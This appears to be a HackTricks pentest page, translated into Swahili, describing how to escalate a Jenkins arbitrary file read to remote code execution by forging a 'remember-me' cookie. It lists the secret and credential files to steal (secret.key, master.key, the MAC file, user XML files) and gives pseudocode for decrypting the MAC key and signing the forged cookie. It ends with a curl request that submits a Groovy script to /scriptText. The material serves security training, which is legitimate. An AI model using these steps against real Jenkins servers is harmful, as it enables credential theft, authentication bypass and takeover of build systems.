Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Katika chapisho hili la blog, inawezekana kupata njia nzuri ya kubadilisha udhaifu wa Local File Inclusion katika Jenkins kuwa RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki isiyo ya kawaida unatumika vibaya kupata RCE kwa kutumia kusoma faili za ndani hadi nitakapokuwa na muda wa kuunda muhtasari wangu mwenyewe:

Masharti ya Shambulio

  • Mahitaji ya Kipengele: "Remember me" lazima iwe imewezeshwa (mipangilio ya default).
  • Viwango vya Ufikiaji: Mshambuliaji anahitaji ruhusa za Jumla/Soma.
  • Ufikiaji wa Siri: Uwezo wa kusoma maudhui ya binary na maandiko kutoka kwa faili muhimu.

Mchakato wa Kina wa Kutekeleza

Hatua ya 1: Kukusanya Data

Kurejesha Taarifa za Mtumiaji

  • Fikia usanidi wa mtumiaji na siri kutoka $JENKINS_HOME/users/*.xml kwa kila mtumiaji ili kukusanya:
  • Jina la Mtumiaji
  • Mbegu ya Mtumiaji
  • Wakati
  • Hash ya Nywila

Uondoaji wa Funguo za Siri

  • Ondoa funguo za kificho zinazotumika kusaini kuki:
  • Funguo ya Siri: $JENKINS_HOME/secret.key
  • Funguo Kuu: $JENKINS_HOME/secrets/master.key
  • Faili ya Funguo ya MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Hatua ya 2: Uundaji wa Kuki

Maandalizi ya Token

  • Hesabu Wakati wa Kuisha wa Token:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa
  • Unganisha Data kwa Token:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Ufunguo wa MAC

  • Fungua Faili ya MAC:
javascript
key = toAes128Key(masterKey)  // Badilisha funguo kuu kuwa muundo wa funguo za AES128
decrypted = AES.decrypt(macFile, key)  // Fungua faili ya .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Hesabu ya Sahihi

  • Hesabu HMAC SHA256:
javascript
mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia token na funguo ya MAC
tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal

Ufungaji wa Kuki

  • Unda Kuki ya Mwisho:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Fanya base64 encode data ya kuki

Hatua ya 3: Utekelezaji wa Msimbo

Uthibitishaji wa Kikao

  • Pata CSRF na Token za Kikao:
  • Fanya ombi kwa /crumbIssuer/api/json ili kupata Jenkins-Crumb.
  • Kamata JSESSIONID kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me.

Ombi la Utekelezaji wa Amri

  • Tuma Ombi la POST na Skripti ya Groovy:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Skripti ya Groovy inaweza kutumika kutekeleza amri za kiwango cha mfumo au shughuli nyingine ndani ya mazingira ya Jenkins.

Mfano wa amri ya curl iliyotolewa inaonyesha jinsi ya kufanya ombi kwa Jenkins na vichwa na kuki zinazohitajika ili kutekeleza msimbo usio wa kawaida kwa usalama.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks